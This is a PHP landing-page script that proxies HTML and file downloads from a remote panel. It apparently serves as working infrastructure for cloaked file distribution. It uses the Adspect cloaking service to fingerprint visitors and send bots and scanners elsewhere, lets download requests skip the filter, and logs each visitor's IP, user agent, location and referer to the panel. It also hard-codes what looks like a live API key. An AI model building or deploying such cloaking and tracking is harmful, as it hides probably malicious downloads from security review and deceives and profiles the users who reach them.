<?php
/**
 * Landing: index.php — HTML + stats proxy to panel.
 * Download: ?file=1&token=… on the SAME path as the landing slug
 * (e.g. /keyword-slug?file=1&token=…). index.php must handle $_GET['file'].
 * Note: /download.php may be served as a static file (no PHP-FPM) on some nginx
 * setups — use the slug-relative URL from the panel HTML instead.
 *
 * Files on server:
 *   index.php                      ← this file (landing-index.php)
 *   download.php                   ← download proxy
 *   adspect.php                    ← Adspect SDK (reverse PHP)
 *   adspect-fingerprint.html.php   ← fingerprint page (first visit)
 *
 * Nginx example:
 *   server_name ~^(?<article_id>\d+)\.example\.com$;
 *   root /var/www/landing;
 *   location / {
 *     try_files $uri $uri/ /index.php?$query_string;
 *   }
 *   location ~ \.php$ {
 *     include fastcgi_params;
 *     fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
 *     fastcgi_pass unix:/run/php/php8.3-fpm.sock;
 *   }
 *
 * Config: edit PANEL_URL, LANDING_API_KEY, and ADSPECT_STREAM_ID below.
 *
 * Adspect (reverse PHP): set stream action for real users to "noop" so the script
 * continues to the panel landing after the fingerprint pass. Bots get redirect/etc.
 * from Adspect. Downloads (?file=1) always bypass Adspect.
 */

declare(strict_types=1);

const PANEL_URL = 'https://colab-panel.info';
const LANDING_API_KEY = 'b80NUmf1zjEaMXwjBKT4XOsMvS9flLs3';
/** Adspect stream UUID. Empty string disables filtering. */
const ADSPECT_STREAM_ID = '1e6e9652-91db-4c54-92eb-2a20a3e9d816';

require __DIR__ . '/download.php';

/** Max lengths must match Django DownloadClick fields. */
const MAX_LEN_IP = 45;
const MAX_LEN_UA = 2000;
const MAX_LEN_COUNTRY = 64;
const MAX_LEN_CITY = 128;
const MAX_LEN_REFERER = 1024;

const HTML_CONNECT_TIMEOUT = 5;
const HTML_TIMEOUT = 20;
const STATS_CONNECT_TIMEOUT = 3;
const STATS_TIMEOUT = 8;
const HTML_MAX_RETRIES = 2;
const STATS_MAX_RETRIES = 2;
const FALLBACK_URL = 'https://www.mediafire.com/';

// ---------------------------------------------------------------------------
// Bootstrap
// ---------------------------------------------------------------------------

if (!empty($_GET['file'])) {
    $articleId = landing_resolve_article_id();
    if ($articleId === null) {
        http_response_code(404);
        exit;
    }
    landing_serve_panel_download($articleId, (string) ($_GET['token'] ?? ''), PANEL_URL);
}

landing_run_adspect_gate();

$config = loadLandingConfig();
$articleId = resolveArticleId($config);

if ($articleId === null) {
    redirectToFallback();
}

$tracking = collectTrackingPayload();
$result = fetchLandingHtml($config, $articleId, $tracking);

if (!$result['ok']) {
    // Main request failed completely — still try to record the visit.
    $statsSent = sendStatsFallback($config, $articleId, $tracking);
    if (!$statsSent) {
        error_log(sprintf(
            'landing-index: stats fallback failed for article %d (%s)',
            $articleId,
            $result['error'] ?? 'unknown'
        ));
    }

    redirectToFallback();
}

header('Content-Type: text/html; charset=utf-8');
header('Cache-Control: no-store, no-cache, must-revalidate');
header('Pragma: no-cache');
header('X-Robots-Tag: noindex, nofollow');

echo $result['body'];

// ---------------------------------------------------------------------------
// Config
// ---------------------------------------------------------------------------

/**
 * @return array{panel_url: string, api_key: string, article_id_param: ?string}
 */
function loadLandingConfig(): array
{
    return [
        'panel_url' => rtrim(PANEL_URL, '/'),
        'api_key' => trim(LANDING_API_KEY),
        'article_id_param' => null,
    ];
}

/**
 * Adspect reverse-PHP gate. Returns after noop/pass; exits on bot redirect or JS fingerprint.
 */
function landing_run_adspect_gate(): void
{
    $streamId = trim(ADSPECT_STREAM_ID);
    if ($streamId === '') {
        return;
    }

    require_once __DIR__ . '/adspect.php';

    $data = adspect($streamId);
    if ($data === null) {
        return;
    }

    require __DIR__ . '/adspect-fingerprint.html.php';
    exit;
}

// ---------------------------------------------------------------------------
// Article id
// ---------------------------------------------------------------------------

/**
 * @param array{panel_url: string, api_key: string, article_id_param: ?string} $config
 */
function resolveArticleId(array $config): ?int
{
    $fromQuery = resolveArticleIdFromQuery($config['article_id_param']);
    if ($fromQuery !== null) {
        return $fromQuery;
    }

    $host = strtolower(trim((string) ($_SERVER['HTTP_HOST'] ?? '')));
    if ($host === '') {
        return null;
    }

    // Strip port: 210.example.com:8443
    $host = (string) preg_replace('/:\d+$/', '', $host);

    $labels = explode('.', $host);
    if ($labels === [] || !ctype_digit($labels[0])) {
        return null;
    }

    $id = (int) $labels[0];
    return $id > 0 ? $id : null;
}

function resolveArticleIdFromQuery(?string $paramName): ?int
{
    if ($paramName === null || $paramName === '') {
        return null;
    }

    $raw = $_GET[$paramName] ?? null;
    if ($raw === null || $raw === '') {
        return null;
    }

    if (!is_string($raw) && !is_numeric($raw)) {
        return null;
    }

    $id = (int) $raw;
    return $id > 0 ? $id : null;
}

// ---------------------------------------------------------------------------
// Tracking payload
// ---------------------------------------------------------------------------

/**
 * @return array{ip: string, ua: string, country: string, city: string, referer: string}
 */
function collectTrackingPayload(): array
{
    return [
        'ip' => truncateString(detectClientIp(), MAX_LEN_IP),
        'ua' => truncateString((string) ($_SERVER['HTTP_USER_AGENT'] ?? ''), MAX_LEN_UA),
        'country' => truncateString((string) ($_SERVER['HTTP_CF_IPCOUNTRY'] ?? ''), MAX_LEN_COUNTRY),
        'city' => truncateString((string) ($_SERVER['HTTP_CF_IPCITY'] ?? ''), MAX_LEN_CITY),
        'referer' => truncateString(detectReferer(), MAX_LEN_REFERER),
    ];
}

function detectClientIp(): string
{
    $candidates = [];

    if (!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) {
        $candidates[] = (string) $_SERVER['HTTP_CF_CONNECTING_IP'];
    }

    if (!empty($_SERVER['HTTP_TRUE_CLIENT_IP'])) {
        $candidates[] = (string) $_SERVER['HTTP_TRUE_CLIENT_IP'];
    }

    if (!empty($_SERVER['HTTP_X_REAL_IP'])) {
        $candidates[] = (string) $_SERVER['HTTP_X_REAL_IP'];
    }

    if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        foreach (explode(',', (string) $_SERVER['HTTP_X_FORWARDED_FOR']) as $part) {
            $candidates[] = trim($part);
        }
    }

    if (!empty($_SERVER['REMOTE_ADDR'])) {
        $candidates[] = (string) $_SERVER['REMOTE_ADDR'];
    }

    foreach ($candidates as $candidate) {
        if (isValidIp($candidate)) {
            return $candidate;
        }
    }

    return '';
}

function isValidIp(string $value): bool
{
    if ($value === '') {
        return false;
    }

    if (filter_var($value, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 | FILTER_FLAG_IPV6) !== false) {
        return true;
    }

    // Some proxies send IPv4:port in X-Forwarded-For.
    if (preg_match('/^(\d{1,3}(?:\.\d{1,3}){3}):\d+$/', $value, $m)) {
        return filter_var($m[1], FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) !== false;
    }

    return false;
}

function detectReferer(): string
{
    $referer = trim((string) ($_SERVER['HTTP_REFERER'] ?? ''));
    if ($referer !== '') {
        return $referer;
    }

    $host = (string) ($_SERVER['HTTP_HOST'] ?? '');
    if ($host === '') {
        return '';
    }

    $scheme = isHttpsRequest() ? 'https' : 'http';
    $uri = (string) ($_SERVER['REQUEST_URI'] ?? '/');

    return $scheme . '://' . $host . $uri;
}

function isHttpsRequest(): bool
{
    if (!empty($_SERVER['HTTPS']) && strtolower((string) $_SERVER['HTTPS']) !== 'off') {
        return true;
    }

    if (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && strtolower((string) $_SERVER['HTTP_X_FORWARDED_PROTO']) === 'https') {
        return true;
    }

    if (!empty($_SERVER['HTTP_CF_VISITOR'])) {
        return str_contains((string) $_SERVER['HTTP_CF_VISITOR'], '"scheme":"https"');
    }

    return false;
}

function truncateString(string $value, int $maxLen): string
{
    if ($maxLen <= 0 || $value === '') {
        return $value;
    }

    if (function_exists('mb_strlen') && function_exists('mb_substr')) {
        if (mb_strlen($value, 'UTF-8') <= $maxLen) {
            return $value;
        }
        return (string) mb_substr($value, 0, $maxLen, 'UTF-8');
    }

    if (strlen($value) <= $maxLen) {
        return $value;
    }

    return substr($value, 0, $maxLen);
}

// ---------------------------------------------------------------------------
// Panel HTTP client
// ---------------------------------------------------------------------------

/**
 * @param array{panel_url: string, api_key: string, article_id_param: ?string} $config
 * @param array{ip: string, ua: string, country: string, city: string, referer: string} $tracking
 * @return array{ok: bool, http_code: int, body: string, error: ?string}
 */
function fetchLandingHtml(array $config, int $articleId, array $tracking): array
{
    if ($config['api_key'] === '') {
        return [
            'ok' => false,
            'http_code' => 500,
            'body' => '',
            'error' => 'LANDING_API_KEY is not configured.',
        ];
    }

    $url = $config['panel_url'] . '/api/landing/' . $articleId . '/?' . buildTrackingQuery($tracking);
    $lastError = 'Unknown error';

    for ($attempt = 1; $attempt <= HTML_MAX_RETRIES; $attempt++) {
        $response = curlRequest('GET', $url, $config['api_key'], [], HTML_CONNECT_TIMEOUT, HTML_TIMEOUT);

        if ($response['curl_errno'] !== 0) {
            $lastError = 'Network error: ' . ($response['curl_error'] ?: ('errno ' . $response['curl_errno']));
        } elseif ($response['http_code'] === 200 && $response['body'] !== '') {
            return [
                'ok' => true,
                'http_code' => 200,
                'body' => $response['body'],
                'error' => null,
            ];
        } elseif ($response['http_code'] === 401) {
            return [
                'ok' => false,
                'http_code' => 502,
                'body' => '',
                'error' => 'Panel rejected API key (401). Check LANDING_API_KEY.',
            ];
        } elseif ($response['http_code'] === 404) {
            return [
                'ok' => false,
                'http_code' => 404,
                'body' => '',
                'error' => 'Article not found on the panel (404).',
            ];
        } else {
            $lastError = sprintf(
                'Panel returned HTTP %d%s',
                $response['http_code'],
                $response['body'] !== '' ? '' : ' with empty body'
            );
        }

        if ($attempt < HTML_MAX_RETRIES) {
            usleep(200000 * $attempt);
        }
    }

    return [
        'ok' => false,
        'http_code' => $response['http_code'] ?? 502,
        'body' => '',
        'error' => $lastError,
    ];
}

/**
 * Separate POST so stats are recorded even when HTML fetch failed/timeouts.
 *
 * @param array{panel_url: string, api_key: string, article_id_param: ?string} $config
 * @param array{ip: string, ua: string, country: string, city: string, referer: string} $tracking
 */
function sendStatsFallback(array $config, int $articleId, array $tracking): bool
{
    if ($config['api_key'] === '') {
        return false;
    }

    $url = $config['panel_url'] . '/api/landing/' . $articleId . '/';
    $fields = trackingFormFields($tracking);

    for ($attempt = 1; $attempt <= STATS_MAX_RETRIES; $attempt++) {
        $response = curlRequest(
            'POST',
            $url,
            $config['api_key'],
            $fields,
            STATS_CONNECT_TIMEOUT,
            STATS_TIMEOUT
        );

        if ($response['curl_errno'] === 0 && $response['http_code'] >= 200 && $response['http_code'] < 500) {
            // 200/401/404 still mean the panel responded; 401 means misconfig, not a transport failure.
            return $response['http_code'] === 200;
        }

        if ($attempt < STATS_MAX_RETRIES) {
            usleep(150000 * $attempt);
        }
    }

    return false;
}

/**
 * @param array{ip: string, ua: string, country: string, city: string, referer: string} $tracking
 */
function buildTrackingQuery(array $tracking): string
{
    return http_build_query([
        'ip' => $tracking['ip'],
        'ua' => $tracking['ua'],
        'country' => $tracking['country'],
        'city' => $tracking['city'],
        'referer' => $tracking['referer'],
    ], '', '&', PHP_QUERY_RFC3986);
}

/**
 * @param array{ip: string, ua: string, country: string, city: string, referer: string} $tracking
 * @return array<string, string>
 */
function trackingFormFields(array $tracking): array
{
    return [
        'ip' => $tracking['ip'],
        'ua' => $tracking['ua'],
        'country' => $tracking['country'],
        'city' => $tracking['city'],
        'referer' => $tracking['referer'],
    ];
}

/**
 * @param array<string, string> $postFields
 * @return array{curl_errno: int, curl_error: string, http_code: int, body: string}
 */
function curlRequest(
    string $method,
    string $url,
    string $apiKey,
    array $postFields,
    int $connectTimeout,
    int $timeout
): array {
    if (!function_exists('curl_init')) {
        return [
            'curl_errno' => CURLE_UNSUPPORTED_PROTOCOL ?? 1,
            'curl_error' => 'PHP cURL extension is not installed',
            'http_code' => 0,
            'body' => '',
        ];
    }

    $ch = curl_init($url);
    if ($ch === false) {
        return [
            'curl_errno' => 1,
            'curl_error' => 'curl_init failed',
            'http_code' => 0,
            'body' => '',
        ];
    }

    $headers = [
        'Accept: text/html,application/xhtml+xml;q=0.9,*/*;q=0.8',
        'X-Landing-Key: ' . $apiKey,
    ];

    $options = [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => false,
        CURLOPT_CONNECTTIMEOUT => $connectTimeout,
        CURLOPT_TIMEOUT => $timeout,
        CURLOPT_HTTPHEADER => $headers,
        CURLOPT_SSL_VERIFYPEER => true,
        CURLOPT_SSL_VERIFYHOST => 2,
        CURLOPT_ENCODING => '',
        CURLOPT_USERAGENT => 'LandingProxy/1.0',
    ];

    if (strtoupper($method) === 'POST') {
        $options[CURLOPT_POST] = true;
        $options[CURLOPT_POSTFIELDS] = http_build_query($postFields, '', '&', PHP_QUERY_RFC3986);
        $headers[] = 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8';
        $options[CURLOPT_HTTPHEADER] = $headers;
    }

    curl_setopt_array($ch, $options);

    $body = curl_exec($ch);
    $curlErrno = curl_errno($ch);
    $curlError = curl_error($ch);
    $httpCode = (int) curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);

    return [
        'curl_errno' => $curlErrno,
        'curl_error' => $curlError,
        'http_code' => $httpCode,
        'body' => is_string($body) ? $body : '',
    ];
}

// ---------------------------------------------------------------------------
// Public fallback (invalid host, panel down, etc.)
// ---------------------------------------------------------------------------

function redirectToFallback(): never
{
    if (!headers_sent()) {
        header('Location: ' . FALLBACK_URL, true, 302);
        header('Cache-Control: no-store');
    }
    exit;
}
